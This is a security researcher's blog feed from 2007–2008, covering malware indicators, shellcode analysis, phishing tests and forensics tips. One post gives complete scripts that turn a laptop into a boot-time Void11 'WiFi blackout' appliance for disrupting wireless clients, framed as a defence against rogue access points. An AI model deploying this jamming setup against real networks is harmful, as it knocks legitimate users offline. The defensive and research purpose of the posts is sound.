class='moz-txt-link-abbreviated'&gt;www.play0nlnie.com&lt;/a&gt; |  125.46.104.172 |      125.40.0.0/13 | CN |  4837 |  CHINA169-BACKBONE CNCGROUP China169 Backbone &lt;br/&gt;&lt;a href='http://www.1ive.com/' class='moz-txt-link-abbreviated'&gt;www.1ive.com&lt;/a&gt; |    82.98.86.169 |      82.98.64.0/18 | DE | 12306 |  Plus.Line AG IP-Services &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Watch for these files &lt;br/&gt;&lt;br/&gt;&lt;/font&gt;&lt;font face='Courier New'&gt;08.swf      201     52d170bd4e7b2c3b7b2276dc4e38cb3f &lt;br/&gt;test.bat 214     83d3d1f07c0e93d985785e0e50bb2280 &lt;br/&gt;org.bat  171     6d1c59a28c01e9c77fe75b01090aa9b6 &lt;br/&gt;setip.exe    66560   91467a37bc29d35c36e6d054e4d03cc5 &lt;br/&gt;disk.dll 484352  c063edc2d2e88f331faddc030137d89c &lt;br/&gt;ax.exe       19456   94237921f585b9926a4d37bd43a4b101 &lt;br/&gt;WIN%209,0,115,0ie.swf 1546    4f5f1f3986a302c7c4a5d15a190e9d69 &lt;br/&gt;07.swf      200     1dc543c3b15afb0c4d7e416126ac6356 &lt;br/&gt;smart.dll        35840   1a2936ad26bd7c497e106745e672884f &lt;br/&gt;07.jpg      1339    5da0fcfd8b8a6fecdebf7441be99416f &lt;br/&gt;news.asp     52901   fd49617f408041e89b3165c92f7c88b5 &lt;br/&gt;&lt;br/&gt;&lt;/font&gt;&lt;/div&gt;&lt;table border='1' style='width: 0px; height: 0px;'&gt;&lt;tbody/&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-1377571306264169527?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/1377571306264169527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=1377571306264169527' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1377571306264169527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1377571306264169527'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2008/05/malicious-flash-badness.html' title='Malicious Flash Badness'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-8163066050344914970</id><published>2008-04-20T09:05:00.001-04:00</published><updated>2008-04-20T09:05:30.145-04:00</updated><title type='text'>Automated Shellcode Analysis</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Working with Lenny Zeltser in his SANS Malware Analysis course, I was able to cobble together a script to automate shellcode analysis preparation.  The analysis involves wrapping the shellcode in a shell function, then compiling it into a small program.  There are several ways to do this, including using an empty C main function (Lenny) and injecting the shellcode into a husk executable (iDefense).  I didn't want to use the injection method since it falls prey to two problems.  1) The husk is always the same size, only the shellcode changes (might be good for diff comparisons).  I wanted something smaller.  2) The shellcode must fit into the blank space in the husk, which opens it up to possible overflow attack or, at least, shellcode size limitation.  Compiling yourself avoids this problem.&lt;br/&gt;&lt;br/&gt;Here's the script I hacked together.  With a little work, I plan to put it to a CGI frontend with a return of the disassembled output.&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Shellcode Analysis Script&lt;/strong&gt;&lt;br/&gt;&lt;br/&gt;&lt;font face='Courier New'&gt;bt shellcodetest # cat shellcode_analyzer.sh&lt;br/&gt;#!/bin/sh&lt;br/&gt;# a little script to clean up shellcode, parse it, convert to &lt;br/&gt;little-endian, and compile into the smallest wrapper possible.&lt;br/&gt;# based on instruction provided by Lenny Zelster.&lt;br/&gt;&lt;br/&gt;# hacked together by&lt;br/&gt;# Andrew Hunt&lt;br/&gt;# 4/19/08&lt;br/&gt;# Copyright 2008 Creative Commons Share-Alike&lt;br/&gt;# &lt;a href='http://creativecommons.org/licenses/by-sa/3.0/us/' class='moz-txt-link-freetext'&gt;http://creativecommons.org/licenses/by-sa/3.0/us/&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;# this script is very alpha, assuming you will call with a text file &lt;br/&gt;argument.  text file should have the unicode pasted in it,&lt;br/&gt;# like `./shellcode_analyzer.sh shellcode.unicodeorhex.strings.file`.&lt;br/&gt;# it comes without any warranties or promises.&lt;br/&gt;#&lt;br/&gt;# user needs to replace the script path and script for unescaping &lt;br/&gt;unicode/hex/other with the path to their own script or an unescaping &lt;br/&gt;routine.&lt;br/&gt;# some replacement suggestions if you don't have a script...&lt;br/&gt;#&lt;br/&gt;# perl -pe 's/\\x(..)/chr(hex($1))/ge'&lt;br/&gt;# perl -pe 's/[\%\\]u(..)(..)/chr(hex($2$1))/ge'&lt;br/&gt;&lt;br/&gt;cat $1 | perl -pe "s/\'\+\'//g" | perl -pe 's/\"\+\"//g' | perl -pe &lt;br/&gt;'s/\"//g' | perl -pe "s/\'//g" | perl /mnt/sda1/scripts/unescape.pl &amp;amp;gt; &lt;br/&gt;/tmp/test5.bin&lt;br/&gt;&lt;br/&gt;cat /tmp/test5.bin | hexdump | awk '{print $2 $3 $4 $5 $6 $7 $8 $9}' | &lt;br/&gt;perl -pe 's/(..)(..)/print("\"\\x".$2."\\x".$1."\"\n")/ge' | grep -P &lt;br/&gt;'^\"'&amp;amp;gt;/tmp/test6.hex&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;echo "unsigned char shellcode[]="&amp;amp;gt; /tmp/test7.c&lt;br/&gt;cat /tmp/test6.hex &amp;amp;gt;&amp;amp;gt; /tmp/test7.c&lt;br/&gt;echo ";" &amp;amp;gt;&amp;amp;gt; /tmp/test7.c&lt;br/&gt;echo "int main(){}" &amp;amp;gt;&amp;amp;gt; /tmp/test7.c&lt;br/&gt;&lt;br/&gt;gcc -c -o shellcode-compiled /tmp/test7.c&lt;br/&gt;objdump -D shellcode-compiled &amp;amp;gt; shellcode.disasm&lt;br/&gt;rm -f /tmp/test*&lt;br/&gt;&lt;br/&gt;# optional&lt;br/&gt;less shellcode.disasm&lt;/font&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-8163066050344914970?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/8163066050344914970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=8163066050344914970' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8163066050344914970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8163066050344914970'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2008/04/automated-shellcode-analysis.html' title='Automated Shellcode Analysis'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-2678927613661284421</id><published>2008-02-29T17:01:00.001-05:00</published><updated>2008-02-29T17:01:48.261-05:00</updated><title type='text'>Phish Me</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Last night's &lt;a href='http://novasec.blogspot.com/'&gt;NOVASec&lt;/a&gt; meeting was an interesting affair.  After the presentation by Stratum Security, there was a lively discussion about targeted attacks and how unprepared many organizations are in facing this threat.  &lt;a href='http://intrepidusgroup.com/'&gt;Intrepidus Group&lt;/a&gt; founder Aaron Higbee introduced me to his &lt;a href='http://phishme.com'&gt;phishme.com&lt;/a&gt; site.  Looking over the service, it delivers an essential user training and social engineering testing function by allowing the penetration tester to develop custom targeted emails against a client.  It tracks the deliveries, who opens the emails and who clicks the baited links inside, generating a graphical report for delivery to management.  This is a great way to gauge the effectiveness of user awareness training programs and identify susceptible users that need retraining.  Great product, Intrepidus!&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-2678927613661284421?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/2678927613661284421/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=2678927613661284421' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2678927613661284421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2678927613661284421'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2008/02/phish-me.html' title='Phish Me'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-8455429712270256688</id><published>2008-02-23T11:08:00.001-05:00</published><updated>2008-02-23T11:08:51.215-05:00</updated><title type='text'>Idea for End-point Javascript Obfuscation Blocking</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I was fortunate enough to attend a presentation by Daniel Peck, of CaffieneMonkey fame, on the characteristics of the javascript obfuscation attack.  What struck me the most about the presentation were the graphs Mr. Peck included comparing the object characteristics of malicious scripts.  While most scripts have a high number of interfacing calls (doc.write, writeln, print, alert, etc) with rather short 'string' content in their tags to direct the content loading, malicious scripts have relatively few interfacing objects with HUGE strings objects (upwards of 80-90% of the script).  Over the graphs of scanned sites he showed, it seems clear this is consistent across malicious v non-malicious sites.  If this statistical analysis could be integrated into a plug-in, it would make for a rudimentary, yet effective barrier to obfuscated iframes and droppers.  The plug-in would have to prevent script execution based on a user-defined ratio or percentage of calls/string content.  &lt;br/&gt;&lt;br/&gt;With a skeleton plug-in and the statistical analysis code in CaffieneMonkey open source, integration of the two should be possible.&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-8455429712270256688?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/8455429712270256688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=8455429712270256688' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8455429712270256688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8455429712270256688'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2008/02/idea-for-end-point-javascript.html' title='Idea for End-point Javascript Obfuscation Blocking'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-6973012111054161097</id><published>2007-12-23T03:29:00.000-05:00</published><updated>2007-12-23T03:33:15.331-05:00</updated><title type='text'>Getting Started</title><content type='html'>I finally decided to stop spending my time as a web administrator and let Google do the legwork for me.  I'd rather be accepting malicious connections on my honeypot anyway and not worrying about whether my content engine is hacked.  I'll be transitioning my existing content here in the coming weeks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-6973012111054161097?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/6973012111054161097/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=6973012111054161097' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6973012111054161097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6973012111054161097'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/12/getting-started.html' title='Getting Started'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-7549541246730616960</id><published>2007-06-13T03:00:00.000-04:00</published><updated>2008-01-26T19:52:00.919-05:00</updated><title type='text'>Reconstituting Base64 Attachments</title><content type='html'>Originally from ISC's Pedro Bueno, &lt;a href="http://isc.sans.org/diary.html?storyid=2955&amp;amp;dshield=a5b4c2b44d94b5810c38069ca8f981d5" mce_href="http://isc.sans.org/diary.html?storyid=2955&amp;amp;dshield=a5b4c2b44d94b5810c38069ca8f981d5"&gt;http://isc.sans.org/diary.html?storyid=2955&amp;amp;dshield=a5b4c2b44d94b5810c38069ca8f981d5 &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;perl -MMIME::Base64 -e 'print decode_base64(join("", &lt;&gt;))' &lt;saved-email.txt&gt;badfile.exe.file&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-7549541246730616960?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/7549541246730616960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=7549541246730616960' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7549541246730616960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7549541246730616960'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/06/reconstituting-base64-attachments.html' title='Reconstituting Base64 Attachments'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-3297929688721500032</id><published>2007-05-04T03:00:00.000-04:00</published><updated>2008-01-26T19:55:16.814-05:00</updated><title type='text'>Creating a Void11 Counter-Offensive Wi-Bomb on Auditor</title><content type='html'>&lt;p&gt;&lt;b&gt;Requirements:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Auditor ISO (&lt;a href="http://mirror.switch.ch/ftp/mirror/auditor/" mce_href="http://mirror.switch.ch/ftp/mirror/auditor/" target="_blank"&gt;http://mirror.switch.ch/ftp/mirror/auditor/&lt;/a&gt; )&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Laptop with available hard-drive for installation.  Recommend 256+ MB RAM and P4 or better CPU.  Must have PCMCIA slot.   On-board NIC for external connectivity and management if desired.&lt;/li&gt;&lt;li&gt;SMC 2532W-B Intersil Prism-based WiFi card.  Also has external antennae jacks.&lt;/li&gt;&lt;li&gt;9dBi omni- or dual semi-directional patch antennas&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Boot up Auditor and perform a permanent installation to the hard drive.  Create these files on the system, then run the installation file.  Test by executing '/etc/init.d/void11 start' with the SMC card inserted.  Reboot and verify operation with a test of a "rouge" AP and an independent client attempting to connect.  Best performed when you allow the client to connect, do a perpetual ping, then turn on your Wi-bomb appliance and watch it die.&lt;/p&gt;&lt;p&gt;You can later integrate known-good access points into the appliance by creating a matchlist and adjusting the OPTIONS parameter in the 'void11' script to include "-l /path/to/matchilst".  See William Hidalgo's &lt;a href="http://remote-exploit.org/research/void11rougeaccesspoint.html" mce_href="http://remote-exploit.org/research/void11rougeaccesspoint.html"&gt;excellent writeup&lt;/a&gt;  for more inforamtion on formatting the matchlist file.&lt;br /&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;b&gt;References:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;William Hidalgo's well-written article on using Void11 as a counter-offensive tool to protect networks : "Void11 Rouge Access Point Counter Offense" (&lt;a href="http://remote-exploit.org/research/void11rougeaccesspoint.html" mce_href="http://remote-exploit.org/research/void11rougeaccesspoint.html"&gt;http://remote-exploit.org/research/void11rougeaccesspoint.html&lt;/a&gt; )&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;b&gt;Scripts: &lt;/b&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;b&gt;void11_installer.sh &lt;/b&gt;&lt;/p&gt;&lt;p&gt;#!/bin/sh&lt;br /&gt;cp -f void11 /etc/init.d/&lt;br /&gt;chmod 755 /etc/init.d/void11&lt;br /&gt;cp -f void11.cron /etc/cron.daily/void11&lt;br /&gt;chmod 755 /etc/cron.daily/void11&lt;br /&gt;ln -s /etc/init.d/sysklogd /etc/rc.boot/S65syslog&lt;br /&gt;ln -s /etc/init.d/void11 /etc/rc.boot/S99void11&lt;br /&gt;ln -s /etc/init.d/void11 /etc/rc6.d/K15void11&lt;br /&gt;ln -s /etc/init.d/void11 /etc/rc0.d/K15void11&lt;br /&gt;ln -s /etc/init.d/sysklogd /etc/rc0.d/K10syslog&lt;br /&gt;ln -s /etc/init.d/sysklogd /etc/rc0.d/K10syslog&lt;br /&gt;touch /var/log/void11&lt;br /&gt;chmod 600 /var/log/void11&lt;br /&gt;echo Now that installation is complete, run Void11 by issuing&lt;br /&gt;echo&lt;br /&gt;echo /etc/init.d/sysklogd start&lt;br /&gt;echo /etc/init.d/void11 start&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;b&gt;voider.sh&lt;/b&gt;&lt;/p&gt;&lt;p&gt;#!/bin/sh&lt;br /&gt;#rm -Rf /etc/pcmcia&lt;br /&gt;#cp -R /etc/pcmcia-hostap /etc/pcmcia&lt;br /&gt;rm -f /etc/pcmcia/wlan-ng*&lt;br /&gt;killall -HUP cardmgr&lt;br /&gt;cardctl eject&lt;br /&gt;sleep 1&lt;br /&gt;cardctl insert&lt;br /&gt;sleep 2&lt;br /&gt;iwpriv wlan0 hostapd 1&lt;br /&gt;iwconfig wlan0 mode master&lt;br /&gt;sleep 1&lt;br /&gt;void11_hopper &gt; /dev/null &amp;amp;&lt;br /&gt;void11_penetration -t 1 -d 10 wlan0&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;b&gt;void11.cron&lt;/b&gt;&lt;/p&gt;&lt;p&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;test -x /usr/local/bin/void11_hopper || exit 0&lt;br /&gt;test -x /usr/local/bin/void11_penetration || exit 0&lt;br /&gt;/etc/init.d/void11 restart&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;b&gt; void11&lt;/b&gt;&lt;/p&gt;&lt;p&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin&lt;br /&gt;&lt;br /&gt;OPTIONS="-t 1 -d 10 wlan0"&lt;br /&gt;&lt;br /&gt;PIDFILE=/var/run/void11_penetration.pid&lt;br /&gt;RIDFILE=/var/run/void11_hopper.pid&lt;br /&gt;DAEMON=/usr/local/bin/void11_penetration&lt;br /&gt;RAEMON=/usr/local/bin/void11_hopper&lt;br /&gt;&lt;br /&gt;case "$1" in&lt;br /&gt;    start)&lt;br /&gt;    echo -n "Starting WiFi blackout service: void11"&lt;br /&gt;&lt;br /&gt;    if [ ! -x $RAEMON ]; then&lt;br /&gt;        echo "void11_hopper script missing - not starting"&lt;br /&gt;        exit 1&lt;br /&gt;    fi&lt;br /&gt;    if [ ! -x $DAEMON ]; then&lt;br /&gt;        echo "void11_penetration binary missing - not starting"&lt;br /&gt;        exit 1&lt;br /&gt;    fi&lt;br /&gt;    rm -f /etc/pcmcia/wlan-ng*&lt;br /&gt;    killall -HUP cardmgr&lt;br /&gt;    cardctl eject&lt;br /&gt;    sleep 1&lt;br /&gt;    cardctl insert&lt;br /&gt;    sleep 2&lt;br /&gt;    iwpriv wlan0 hostapd 1&lt;br /&gt;    iwconfig wlan0 mode master&lt;br /&gt;    sleep 1&lt;br /&gt;    $RAEMON &gt; /dev/null &amp;amp;&lt;br /&gt;    $DAEMON $OPTIONS &gt; /var/log/void11 &amp;amp;&lt;br /&gt;    echo "."   &lt;br /&gt;    ;;&lt;br /&gt;&lt;br /&gt;    stop)&lt;br /&gt;    echo -n "Stopping WiFi blackout service: void11"&lt;br /&gt;    killall void11_penetration&lt;br /&gt;    sleep 2&lt;br /&gt;    killall void11_hopper&lt;br /&gt;    sleep 2&lt;br /&gt;    echo "."   &lt;br /&gt;    ;;&lt;br /&gt;&lt;br /&gt;    reload)&lt;br /&gt;    $0 restart&lt;br /&gt;    ;;&lt;br /&gt;&lt;br /&gt;    restart|force-reload)&lt;br /&gt;    $0 stop&lt;br /&gt;    sleep 2&lt;br /&gt;    $0 start&lt;br /&gt;    ;;&lt;br /&gt;   &lt;br /&gt;    *)&lt;br /&gt;    echo "Usage: /etc/init.d/void11 {start|stop|reload|restart|force-reload}" &gt;&amp;amp;2&lt;br /&gt;    exit 1&lt;br /&gt;    ;;&lt;br /&gt;esac&lt;br /&gt;&lt;br /&gt;exit 0&lt;br /&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-3297929688721500032?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/3297929688721500032/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=3297929688721500032' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3297929688721500032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3297929688721500032'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/05/creating-void11-counter-offensive-wi.html' title='Creating a Void11 Counter-Offensive Wi-Bomb on Auditor'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-3114472893899667237</id><published>2007-03-27T03:00:00.000-04:00</published><updated>2008-01-26T19:56:52.410-05:00</updated><title type='text'>Better WHOIS Lookups</title><content type='html'>&lt;p&gt;Origin AS/WHOIS lookups via scripts, use DNS-based lookups at Team Cymru:&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;nslookup -type=TXT 31.108.90.216.origin.asn.cymru.com&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-3114472893899667237?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/3114472893899667237/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=3114472893899667237' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3114472893899667237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3114472893899667237'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/03/better-whois-lookups.html' title='Better WHOIS Lookups'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-2966726718803507115</id><published>2007-02-21T03:00:00.000-05:00</published><updated>2008-01-26T19:59:46.462-05:00</updated><title type='text'>Javascript Decoding</title><content type='html'>Some excellent articles:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://isc2.sans.org/diary.html?storyid=1917" mce_href="https://isc2.sans.org/diary.html?storyid=1917"&gt;https://isc2.sans.org/diary.html?storyid=1917&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://isc.sans.org/diary.html?storyid=2268" mce_href="http://isc.sans.org/diary.html?storyid=2268"&gt;http://isc.sans.org/diary.html?storyid=2268 &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Or just override the write and evaluation features with custom functions, slap them on the front, and run them through spidermonkey.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-2966726718803507115?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/2966726718803507115/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=2966726718803507115' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2966726718803507115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2966726718803507115'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/02/javascript-decoding.html' title='Javascript Decoding'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-4076519093686254882</id><published>2007-02-14T03:00:00.000-05:00</published><updated>2008-01-26T19:01:14.020-05:00</updated><title type='text'>Finding Files and Counting Lines at the Windows Command Prompt</title><content type='html'>An article about some Windows basics that are rather important in the forensics world.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://isc.sans.org/diary.html?storyid=2244%20"&gt;http://isc.sans.org/diary.html?storyid=2244&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-4076519093686254882?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/4076519093686254882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=4076519093686254882' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4076519093686254882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4076519093686254882'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/02/finding-files-and-counting-lines-at.html' title='Finding Files and Counting Lines at the Windows Command Prompt'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-1560316000488154756</id><published>2007-02-08T03:00:00.001-05:00</published><updated>2008-01-26T20:08:36.537-05:00</updated><title type='text'>Determining USB Keys in Windows</title><content type='html'>&lt;p style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-family:Verdana;font-size:100%;"&gt;reg query "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;&lt;a href="file://%5c%5c%1%5chklm%5csystem%5ccurrentcontrolset%5cenum%5cusbstor/" mce_href="file://%5c%5c%1%5chklm%5csystem%5ccurrentcontrolset%5cenum%5cusbstor/"&gt;&lt;u&gt;&lt;span style="font-family:Verdana;"&gt;\\%1\HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR&lt;/span&gt;&lt;/u&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;"&gt;"&lt;/span&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 